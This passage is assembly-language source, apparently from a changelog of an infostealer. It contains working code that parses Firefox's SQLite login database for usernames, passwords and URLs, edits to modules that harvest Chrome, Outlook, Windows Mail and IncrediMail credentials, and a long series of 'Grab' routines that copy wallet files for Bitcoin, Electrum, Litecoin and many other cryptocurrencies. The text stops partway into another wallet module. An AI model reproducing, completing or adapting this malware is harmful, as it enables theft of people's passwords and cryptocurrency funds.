  776.   LOCAL   cell_len: DWORD
  777.   LOCAL   cell_type: DWORD
  778.   LOCAL   cell_data: DWORD
  779.   LOCAL   table_name: DWORD
  780.   LOCAL   root_page: DWORD
  781.   LOCAL   dwStatusCode: DWORD
  782.  
  783.   .IF   cell_count == 5
  784.      ; Validate table column count
  785.      invoke   SQLiteGetRecordArrayCell, row_array, 2, addr cell_len, addr cell_type, addr cell_data
  786.      .IF   cell_type == SQLITE_DATATYPE_STR
  787.         m2m   table_name, cell_data
  788.         invoke   lstrcmpi, table_name, offset szMozillaLoginTable
  789.         .IF   !eax
  790.            invoke   SQLiteGetRecordArrayCell, row_array, 0, addr cell_len, addr cell_type, addr cell_data
  791.            .IF   cell_type == SQLITE_DATATYPE_STR
  792.               invoke   lstrcmp, offset szSQLite3TableType, cell_data
  793.               .IF   !eax
  794.                  invoke   SQLiteGetRecordArrayCell, row_array, 3, addr cell_len, addr cell_type, addr cell_data
  795.                  .IF   cell_type == SQLITE_DATATYPE_INT
  796.                     mov   eax, cell_data
  797.                     m2m   root_page, dword ptr[eax]
  798.                    
  799.                     invoke   SQLiteGetRecordArrayCell, row_array, 4, addr cell_len, addr cell_type, addr cell_data
  800.                     .IF   cell_type == SQLITE_DATATYPE_STR
  801.                        mov   dwMozillaActionURLIndex, -1
  802.                        mov   dwMozillaPassValueIndex, -1
  803.                        mov   dwMozillaUserValueIndex, -1
  804.  
  805.                        invoke   SQLiteProcessSQL, cell_data, offset SQLiteProcessMozillaColDef
  806.                        mov   dwStatusCode, TRUE
  807.                        
  808.                        .IF   (dwMozillaActionURLIndex != -1) && (dwMozillaPassValueIndex != -1) && (dwMozillaUserValueIndex != -1)
  809.                           invoke   SQLiteReadPage, stream, target_stream, root_page, addr dwStatusCode, item_id, offset SQLiteProcessMozillaDataTable
  810.                        .ENDIF
  811.                     .ENDIF
  812.                  .ENDIF
  813.               .ENDIF  
  814.            .ENDIF
  815.         .ENDIF
  816.      .ENDIF
  817.      
  818. Line 8271 (code deletion):
  819. mov   dwSQLiteEncoding, eax etc....
  820.  
  821. Line 8272 (code edition):
  822. SQLiteProcessMozillaSchemaTable endp
  823.  
  824. Line 8272 (code edition):
  825. ProcessMozillaSQLiteFile proc target_stream, szSQLFileName, item_id
  826.  
  827. Line 8280 (code addition):
  828. , item_id, offset SQLiteProcessMozillaSchemaTable
  829.  
  830. Line 8290 (code edition/remove):
  831. ProcessSQLiteFile endp -> ProcessMozillaSQLiteFile endp
  832. ChromeAppDataCommonSingleFileScan procedure deleted.
  833.  
  834. Line 8299 (comment added):
  835. ; Tested: Google Chrome 29.0.1547.66 m
  836.  
  837. Line 8374 (code edition):
  838. ProcessSQLiteFile -> ProcessChromeSQLiteFile
  839. Line 8375 (code edition):
  840. ProcessSQLiteFile -> ProcessChromeSQLiteFile
  841.  
  842. Line 9307 (procedure rename, check Line 198):
  843.         invoke   IsDataAlreadyProcessed, map.lpMem, map.dwFileSize
  844.  
  845. Line 10932 (code addition):
  846.   mov   byte ptr[CWindowsMailPasswordList+1], 'P'
  847.   mov   byte ptr[CWindowsMailSMTPPass+1], 'S'
  848.  
  849. Line 11392 (code addition):
  850.   mov   byte ptr[CIncrediMailSMTPServer], 'S'
  851.   mov   byte ptr[CIncrediMailSMTPPort], 'S'
  852.   mov   byte ptr[CIncrediMailSMTPUser], 'S'
  853.   mov   byte ptr[CIncrediMailSMTPPass], 'S'
  854.  
  855. Line 11622 (code deletion):
  856. base_path, do_decrypt <- (removed 'do_encrypt')
  857.  
  858. Line 11734 (code deletion):
  859. reg_key, S, 0 <- (removed '0')
  860.  
  861. Line 11959 (code addition):
  862.   .IF   bListEncrypted
  863.      mov   bListEncrypted, FALSE
  864.      invoke   DecipherList, offset COutlookRegValues
  865.      invoke   DecipherList, offset COutlookBinaryValues
  866.      invoke   DecipherList, offset COutlookPassValues
  867.      invoke   DecipherList, offset COutlookPassValues2
  868.   .ENDIF
  869.  
  870. Line 12087 (code addition):
  871. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  872. ; Bitcoin
  873. ; http://bitcoin.org
  874. ; Tested: 0.8.1-beta
  875. ; SFTP: not supported
  876.                                              
  877. IFDEF COMPILE_MODULE_BITCOIN
  878.  
  879. .data
  880.   CBitconWalletFile      db   'wallet.dat',0
  881.   CBitcoinAppDataDir      db   '\Bitcoin',0
  882.  
  883. .code
  884.  
  885. GrabBitcoin proc stream
  886.   LOCAL   hdr_ofs: DWORD
  887.  
  888.   invoke   StreamWriteModuleHeader, stream, MODULE_BITCOIN, 0
  889.   mov   hdr_ofs, eax
  890.  
  891.   invoke   AppDataCommonFileScan, stream, offset CBitcoinAppDataDir, offset CBitconWalletFile, ITEMHDR_ID or 0
  892.  
  893.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  894.   ret
  895. GrabBitcoin endp
  896.  
  897. ENDIF
  898.  
  899. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  900. ; Electrum
  901. ; http://electrum.org/
  902. ; Tested: 1.7.3
  903. ; SFTP: not supported
  904.                                              
  905. IFDEF COMPILE_MODULE_ELECTRUM
  906.  
  907. .data
  908.   CElectrumWalletFile      db   'electrum.dat',0
  909.   CElectrumAppDataDir      db   '\Electrum',0
  910.  
  911. .code
  912.  
  913. GrabElectrum proc stream
  914.   LOCAL   hdr_ofs: DWORD
  915.  
  916.   invoke   StreamWriteModuleHeader, stream, MODULE_ELECTRUM, 0
  917.   mov   hdr_ofs, eax
  918.  
  919.   invoke   AppDataCommonFileScan, stream, offset CElectrumAppDataDir, offset CElectrumWalletFile, ITEMHDR_ID or 0
  920.  
  921.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  922.   ret
  923. GrabElectrum endp
  924.  
  925. ENDIF
  926.  
  927. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  928. ; MultiBit
  929. ; http://multibit.org
  930. ; Tested: 0.5.9
  931. ; SFTP: not supported
  932.                                              
  933. IFDEF COMPILE_MODULE_ELECTRUM
  934.  
  935. .data
  936.   CMultiBitWalletFile      db   '.wallet',0
  937.   CMultiBitAppDataDir      db   '\MultiBit',0
  938.  
  939. .code
  940.  
  941. GrabMultiBit proc stream
  942.   LOCAL   hdr_ofs: DWORD
  943.  
  944.   invoke   StreamWriteModuleHeader, stream, MODULE_MULTIBIT, 0
  945.   mov   hdr_ofs, eax
  946.  
  947.   invoke   AppDataCommonFileScan, stream, offset CMultiBitAppDataDir, offset CMultiBitWalletFile, ITEMHDR_ID or 0
  948.  
  949.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  950.   ret
  951. GrabMultiBit endp
  952.  
  953. ENDIF
  954.  
  955. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  956. ; FTP Disk
  957. ; Tested: ver 1.2
  958. ; SFTP: implemented
  959.  
  960. IFDEF COMPILE_MODULE_FTPDISK
  961.  
  962. .data
  963.   CFTPDiskAccountsFile   db   'Accounts.ini',0
  964.   CFTPDiskAppDataDir      db   '\Maxprog\FTP Disk',0
  965.  
  966. .code
  967.  
  968. GrabFTPDisk proc stream
  969.   LOCAL   hdr_ofs: DWORD
  970.  
  971.   invoke   StreamWriteModuleHeader, stream, MODULE_FTPDISK, 0
  972.   mov   hdr_ofs, eax
  973.  
  974.   invoke   AppDataCommonFileScan, stream, offset CFTPDiskAppDataDir, offset CFTPDiskAccountsFile, ITEMHDR_ID or 0
  975.  
  976.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  977.   ret
  978. GrabFTPDisk endp
  979.  
  980. ENDIF
  981.  
  982. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  983. ; Litecoin
  984. ; https://litecoin.org/
  985. ; Tested: v0.8.5.1-beta
  986. ; SFTP: not supported
  987.                                              
  988. IFDEF COMPILE_MODULE_LITECOIN
  989.  
  990. .data
  991.   CLitecoinWalletFile      db   'wallet.dat',0
  992.   CLitecoinAppDataDir      db   '\Litecoin',0
  993.  
  994. .code
  995.  
  996. GrabLitecoin proc stream
  997.   LOCAL   hdr_ofs: DWORD
  998.  
  999.   invoke   StreamWriteModuleHeader, stream, MODULE_LITECOIN, 0
  1000.   mov   hdr_ofs, eax
  1001.  
  1002.   invoke   AppDataCommonFileScan, stream, offset CLitecoinAppDataDir, offset CLitecoinWalletFile, ITEMHDR_ID or 0
  1003.  
  1004.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1005.   ret
  1006. GrabLitecoin endp
  1007.  
  1008. ENDIF
  1009.  
  1010. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1011. ; Namecoin
  1012. ; http://namecoin.info/
  1013. ; Tested: 0.3.72
  1014. ; SFTP: not supported
  1015.                                              
  1016. IFDEF COMPILE_MODULE_LITECOIN
  1017.  
  1018. .data
  1019.   CNamecoinWalletFile      db   'wallet.dat',0
  1020.   CNamecoinAppDataDir      db   '\Namecoin',0
  1021.  
  1022. .code
  1023.  
  1024. GrabNamecoin proc stream
  1025.   LOCAL   hdr_ofs: DWORD
  1026.  
  1027.   invoke   StreamWriteModuleHeader, stream, MODULE_NAMECOIN, 0
  1028.   mov   hdr_ofs, eax
  1029.  
  1030.   invoke   AppDataCommonFileScan, stream, offset CNamecoinAppDataDir, offset CNamecoinWalletFile, ITEMHDR_ID or 0
  1031.  
  1032.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1033.   ret
  1034. GrabNamecoin endp
  1035.  
  1036. ENDIF
  1037.  
  1038. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1039. ; Terracoin
  1040. ; http://www.terracoin.org/
  1041. ; Tested: v0.8.0.2
  1042. ; SFTP: not supported
  1043.                                              
  1044. IFDEF COMPILE_MODULE_TERRACOIN
  1045.  
  1046. .data
  1047.   CTerracoinWalletFile      db   'wallet.dat',0
  1048.   CTerracoinAppDataDir      db   '\Terracoin',0
  1049.  
  1050. .code
  1051.  
  1052. GrabTerracoin proc stream
  1053.   LOCAL   hdr_ofs: DWORD
  1054.  
  1055.   invoke   StreamWriteModuleHeader, stream, MODULE_TERRACOIN, 0
  1056.   mov   hdr_ofs, eax
  1057.  
  1058.   invoke   AppDataCommonFileScan, stream, offset CTerracoinAppDataDir, offset CTerracoinWalletFile, ITEMHDR_ID or 0
  1059.  
  1060.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1061.   ret
  1062. GrabTerracoin endp
  1063.  
  1064. ENDIF
  1065.  
  1066. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1067. ; Bitcoin Armory
  1068. ; https://bitcoinarmory.com/
  1069. ; Tested: Version 0.90-beta
  1070. ; SFTP: not supported
  1071.                                              
  1072. IFDEF COMPILE_MODULE_BITCOINARMORY
  1073.  
  1074. .data
  1075.   CBitcoinArmoryWalletFile   db   '.wallet',0
  1076.   CBitcoinArmoryAppDataDir   db   '\Armory',0
  1077.  
  1078. .code
  1079.  
  1080. GrabBitcoinArmory proc stream
  1081.   LOCAL   hdr_ofs: DWORD
  1082.  
  1083.   invoke   StreamWriteModuleHeader, stream, MODULE_BITCOINARMORY, 0
  1084.   mov   hdr_ofs, eax
  1085.  
  1086.   invoke   AppDataCommonFileScan, stream, offset CBitcoinArmoryAppDataDir, offset CBitcoinArmoryWalletFile, ITEMHDR_ID or 0
  1087.  
  1088.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1089.   ret
  1090. GrabBitcoinArmory endp
  1091.  
  1092. ENDIF
  1093.  
  1094. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1095. ; PPCoin (Peercoin)
  1096. ; https://ppcoin.com/
  1097. ; Tested: v.0.3.0ppc-beta
  1098. ; SFTP: not supported
  1099.                                              
  1100. IFDEF COMPILE_MODULE_PPCOIN
  1101.  
  1102. .data
  1103.   CPPCoinWalletFile         db   'wallet.dat',0
  1104.   CPPCoinAppDataDir         db   '\PPCoin',0
  1105.  
  1106. .code
  1107.  
  1108. GrabPPCoin proc stream
  1109.   LOCAL   hdr_ofs: DWORD
  1110.  
  1111.   invoke   StreamWriteModuleHeader, stream, MODULE_PPCOIN, 0
  1112.   mov   hdr_ofs, eax
  1113.  
  1114.   invoke   AppDataCommonFileScan, stream, offset CPPCoinAppDataDir, offset CPPCoinWalletFile, ITEMHDR_ID or 0
  1115.  
  1116.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1117.   ret
  1118. GrabPPCoin endp
  1119.  
  1120. ENDIF
  1121.  
  1122. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1123. ; Primecoin
  1124. ; http://primecoin.org/
  1125. ; Tested: v0.1.2xpm-beta
  1126. ; SFTP: not supported
  1127.                                              
  1128. IFDEF COMPILE_MODULE_PRIMECOIN
  1129.  
  1130. .data
  1131.   CPrimecoinWalletFile      db   'wallet.dat',0
  1132.   CPrimecoinAppDataDir      db   '\Primecoin',0
  1133.  
  1134. .code
  1135.  
  1136. GrabPrimecoin proc stream
  1137.   LOCAL   hdr_ofs: DWORD
  1138.  
  1139.   invoke   StreamWriteModuleHeader, stream, MODULE_PRIMECOIN, 0
  1140.   mov   hdr_ofs, eax
  1141.  
  1142.   invoke   AppDataCommonFileScan, stream, offset CPrimecoinAppDataDir, offset CPrimecoinWalletFile, ITEMHDR_ID or 0
  1143.  
  1144.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1145.   ret
  1146. GrabPrimecoin endp
  1147.  
  1148. ENDIF
  1149.  
  1150. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1151. ; Feathercoin
  1152. ; http://feathercoin.com/
  1153. ; Tested: v0.6.4.4
  1154. ; SFTP: not supported
  1155.                                              
  1156. IFDEF COMPILE_MODULE_PRIMECOIN
  1157.  
  1158. .data
  1159.   CFeathercoinWalletFile      db   'wallet.dat',0
  1160.   CFeathercoinAppDataDir      db   '\Feathercoin',0
  1161.  
  1162. .code
  1163.  
  1164. GrabFeathercoin proc stream
  1165.   LOCAL   hdr_ofs: DWORD
  1166.  
  1167.   invoke   StreamWriteModuleHeader, stream, MODULE_FEATHERCOIN, 0
  1168.   mov   hdr_ofs, eax
  1169.  
  1170.   invoke   AppDataCommonFileScan, stream, offset CFeathercoinAppDataDir, offset CFeathercoinWalletFile, ITEMHDR_ID or 0
  1171.  
  1172.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1173.   ret
  1174. GrabFeathercoin endp
  1175.  
  1176. ENDIF
  1177.  
  1178. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1179. ; NovaCoin
  1180. ; http://novaco.in/
  1181. ; Tested: v0.4.4.0-g32a928e-beta
  1182. ; SFTP: not supported
  1183.                                              
  1184. IFDEF COMPILE_MODULE_NOVACOIN
  1185.  
  1186. .data
  1187.   CNovaCoinWalletFile         db   'wallet.dat',0
  1188.   CNovaCoinAppDataDir         db   '\NovaCoin',0
  1189.  
  1190. .code
  1191.  
  1192. GrabNovaCoin proc stream
  1193.   LOCAL   hdr_ofs: DWORD
  1194.  
  1195.   invoke   StreamWriteModuleHeader, stream, MODULE_NOVACOIN, 0
  1196.   mov   hdr_ofs, eax
  1197.  
  1198.   invoke   AppDataCommonFileScan, stream, offset CNovaCoinAppDataDir, offset CNovaCoinWalletFile, ITEMHDR_ID or 0
  1199.  
  1200.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1201.   ret
  1202. GrabNovaCoin endp
  1203.  
  1204. ENDIF
  1205.  
  1206. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1207. ; Freicoin
  1208. ; http://freico.in/
  1209. ; Tested: v0.8.3.0-unk-beta
  1210. ; SFTP: not supported
  1211.                                              
  1212. IFDEF COMPILE_MODULE_FREICOIN
  1213.  
  1214. .data
  1215.   CFreicoinWalletFile         db   'wallet.dat',0
  1216.   CFreicoinAppDataDir         db   '\Freicoin',0
  1217.  
  1218. .code
  1219.  
  1220. GrabFreicoin proc stream
  1221.   LOCAL   hdr_ofs: DWORD
  1222.  
  1223.   invoke   StreamWriteModuleHeader, stream, MODULE_FREICOIN, 0
  1224.   mov   hdr_ofs, eax
  1225.  
  1226.   invoke   AppDataCommonFileScan, stream, offset CFreicoinAppDataDir, offset CFreicoinWalletFile, ITEMHDR_ID or 0
  1227.  
  1228.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1229.   ret
  1230. GrabFreicoin endp
  1231.  
  1232. ENDIF
  1233.  
  1234. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1235. ; Devcoin
  1236. ; http://devcoin.org/
  1237. ; Tested: version 0.3.25.1-beta
  1238. ; SFTP: not supported
  1239.                                              
  1240. IFDEF COMPILE_MODULE_DEVCOIN
  1241.  
  1242. .data
  1243.   CDevcoinWalletFile         db   'wallet.dat',0
  1244.   CDevcoinAppDataDir         db   '\Devcoin',0
  1245.  
  1246. .code
  1247.  
  1248. GrabDevcoin proc stream
  1249.   LOCAL   hdr_ofs: DWORD
  1250.  
  1251.   invoke   StreamWriteModuleHeader, stream, MODULE_DEVCOIN, 0
  1252.   mov   hdr_ofs, eax
  1253.  
  1254.   invoke   AppDataCommonFileScan, stream, offset CDevcoinAppDataDir, offset CDevcoinWalletFile, ITEMHDR_ID or 0
  1255.  
  1256.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1257.   ret
  1258. GrabDevcoin endp
  1259.  
  1260. ENDIF
  1261.  
  1262. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1263. ; Frankocoin
  1264. ; http://frankos.org/
  1265. ; Tested: v0.8.4.1-16-g5f1dafe-bet
  1266. ; SFTP: not supported
  1267.                                              
  1268. IFDEF COMPILE_MODULE_FRANKOCOIN
  1269.  
  1270. .data
  1271.   CFrankocoinWalletFile         db   'wallet.dat',0
  1272.   CFrankocoinAppDataDir         db   '\Franko',0
  1273.  
  1274. .code
  1275.  
  1276. GrabFrankocoin proc stream
  1277.   LOCAL   hdr_ofs: DWORD
  1278.  
  1279.   invoke   StreamWriteModuleHeader, stream, MODULE_FRANKOCOIN, 0
  1280.   mov   hdr_ofs, eax
  1281.  
  1282.   invoke   AppDataCommonFileScan, stream, offset CFrankocoinAppDataDir, offset CFrankocoinWalletFile, ITEMHDR_ID or 0
  1283.  
  1284.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1285.   ret
  1286. GrabFrankocoin endp
  1287.  
  1288. ENDIF
  1289.  
  1290. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1291. ; ProtoShares
  1292. ; http://invictus-innovations.com/protoshares
  1293. ; Tested: v0.8.5.0-unk-beta
  1294. ; SFTP: not supported
  1295.                                              
  1296. IFDEF COMPILE_MODULE_PROTOSHARES
  1297.  
  1298. .data
  1299.   CProtoSharesWalletFile         db   'wallet.dat',0
  1300.   CProtoSharesAppDataDir         db   '\ProtoShares',0
  1301.  
  1302. .code
  1303.  
  1304. GrabProtoShares proc stream
  1305.   LOCAL   hdr_ofs: DWORD
  1306.  
  1307.   invoke   StreamWriteModuleHeader, stream, MODULE_PROTOSHARES, 0
  1308.   mov   hdr_ofs, eax
  1309.  
  1310.   invoke   AppDataCommonFileScan, stream, offset CProtoSharesAppDataDir, offset CProtoSharesWalletFile, ITEMHDR_ID or 0
  1311.  
  1312.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1313.   ret
  1314. GrabProtoShares endp
  1315.  
  1316. ENDIF
  1317.  
  1318. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1319. ; Megacoin
  1320. ; http://www.megacoin.co.nz
  1321. ; Tested: v0.8.996.0MEGA-beta
  1322. ; SFTP: not supported
  1323.                                              
  1324. IFDEF COMPILE_MODULE_MEGACOIN
  1325.  
  1326. .data
  1327.   CMegacoinWalletFile            db   'wallet.dat',0
  1328.   CMegacoinAppDataDir            db   '\Megacoin',0
  1329.  
  1330. .code
  1331.  
  1332. GrabMegacoin proc stream
  1333.   LOCAL   hdr_ofs: DWORD
  1334.  
  1335.   invoke   StreamWriteModuleHeader, stream, MODULE_MEGACOIN, 0
  1336.   mov   hdr_ofs, eax
  1337.  
  1338.   invoke   AppDataCommonFileScan, stream, offset CMegacoinAppDataDir, offset CMegacoinWalletFile, ITEMHDR_ID or 0
  1339.  
  1340.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1341.   ret
  1342. GrabMegacoin endp
  1343.  
  1344. ENDIF
  1345.  
  1346. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1347. ; Quarkcoin
  1348. ; http://www.quarkcoin.com/
  1349. ; Tested: v0.8.3.0-g09e437b-beta
  1350. ; SFTP: not supported
  1351.                                              
  1352. IFDEF COMPILE_MODULE_QUARKCOIN
  1353.  
  1354. .data
  1355.   CQuarkcoinWalletFile         db   'wallet.dat',0
  1356.   CQuarkcoinAppDataDir         db   '\Quarkcoin',0
  1357.  
  1358. .code
  1359.  
  1360. GrabQuarkcoin proc stream
  1361.   LOCAL   hdr_ofs: DWORD
  1362.  
  1363.   invoke   StreamWriteModuleHeader, stream, MODULE_QUARKCOIN, 0
  1364.   mov   hdr_ofs, eax
  1365.  
  1366.   invoke   AppDataCommonFileScan, stream, offset CQuarkcoinAppDataDir, offset CQuarkcoinWalletFile, ITEMHDR_ID or 0
  1367.  
  1368.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1369.   ret
  1370. GrabQuarkcoin endp
  1371.  
  1372. ENDIF
  1373.  
  1374. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1375. ; WorldCoin
  1376. ; http://worldcoin.in
  1377. ; Tested: v0.6.4.4-ga7433e7-beta
  1378. ; SFTP: not supported
  1379.                                              
  1380. IFDEF COMPILE_MODULE_WORLDCOIN
  1381.  
  1382. .data
  1383.   CWorldCoinWalletFile         db   'wallet.dat',0
  1384.   CWorldCoinAppDataDir         db   '\Worldcoin',0
  1385.  
  1386. .code
  1387.  
  1388. GrabWorldcoin proc stream
  1389.   LOCAL   hdr_ofs: DWORD
  1390.  
  1391.   invoke   StreamWriteModuleHeader, stream, MODULE_WORLDCOIN, 0
  1392.   mov   hdr_ofs, eax
  1393.  
  1394.   invoke   AppDataCommonFileScan, stream, offset CWorldCoinAppDataDir, offset CWorldCoinWalletFile, ITEMHDR_ID or 0
  1395.  
  1396.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1397.   ret
  1398. GrabWorldcoin endp
  1399.  
  1400. ENDIF
  1401.  
  1402. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1403. ; Infinitecoin
  1404. ; http://infinitecoin.com/
  1405. ; Tested: v1.8.0.0
  1406. ; SFTP: not supported
  1407.                                              
  1408. IFDEF COMPILE_MODULE_WORLDCOIN
  1409.  
  1410. .data
  1411.   CInfinitecoinWalletFile         db   'wallet.dat',0
  1412.   CInfinitecoinAppDataDir         db   '\Infinitecoin',0
  1413.  
  1414. .code
  1415.  
  1416. GrabInfinitecoin proc stream
  1417.   LOCAL   hdr_ofs: DWORD
  1418.  
  1419.   invoke   StreamWriteModuleHeader, stream, MODULE_INFINITECOIN, 0
  1420.   mov   hdr_ofs, eax
  1421.  
  1422.   invoke   AppDataCommonFileScan, stream, offset CInfinitecoinAppDataDir, offset CInfinitecoinWalletFile, ITEMHDR_ID or 0
  1423.  
  1424.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1425.   ret
  1426. GrabInfinitecoin endp
  1427.  
  1428. ENDIF
  1429.  
  1430. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1431. ; Ixcoin
  1432. ; http://ixcoin.org/
  1433. ; Tested: 0.3.24.30-beta
  1434. ; SFTP: not supported
  1435.                                              
  1436. IFDEF COMPILE_MODULE_IXCOIN
  1437.  
  1438. .data
  1439.   CIxcoinWalletFile            db   'wallet.dat',0
  1440.   CIxcoinAppDataDir            db   '\Ixcoin',0
  1441.  
  1442. .code
  1443.  
  1444. GrabIxcoin proc stream
  1445.   LOCAL   hdr_ofs: DWORD
  1446.  
  1447.   invoke   StreamWriteModuleHeader, stream, MODULE_IXCOIN, 0
  1448.   mov   hdr_ofs, eax
  1449.  
  1450.   invoke   AppDataCommonFileScan, stream, offset CIxcoinAppDataDir, offset CIxcoinWalletFile, ITEMHDR_ID or 0
  1451.  
  1452.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1453.   ret
  1454. GrabIxcoin endp
  1455.  
  1456. ENDIF
  1457.  
  1458. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1459. ; Anoncoin
  1460. ; https://anoncoin.net
  1461. ; Tested: v0.7.4b-5-gd36ff9d-beta
  1462. ; SFTP: not supported
  1463.                                              
  1464. IFDEF COMPILE_MODULE_IXCOIN
  1465.  
  1466. .data
  1467.   CAnoncoinWalletFile            db   'wallet.dat',0
  1468.   CAnoncoinAppDataDir            db   '\Anoncoin',0
  1469.  
  1470. .code
  1471.  
  1472. GrabAnoncoin proc stream
  1473.   LOCAL   hdr_ofs: DWORD
  1474.  
  1475.   invoke   StreamWriteModuleHeader, stream, MODULE_ANONCOIN, 0
  1476.   mov   hdr_ofs, eax
  1477.  
  1478.   invoke   AppDataCommonFileScan, stream, offset CAnoncoinAppDataDir, offset CAnoncoinWalletFile, ITEMHDR_ID or 0
  1479.  
  1480.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1481.   ret
  1482. GrabAnoncoin endp
  1483.  
  1484. ENDIF
  1485.  
  1486. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1487. ; BBQcoin
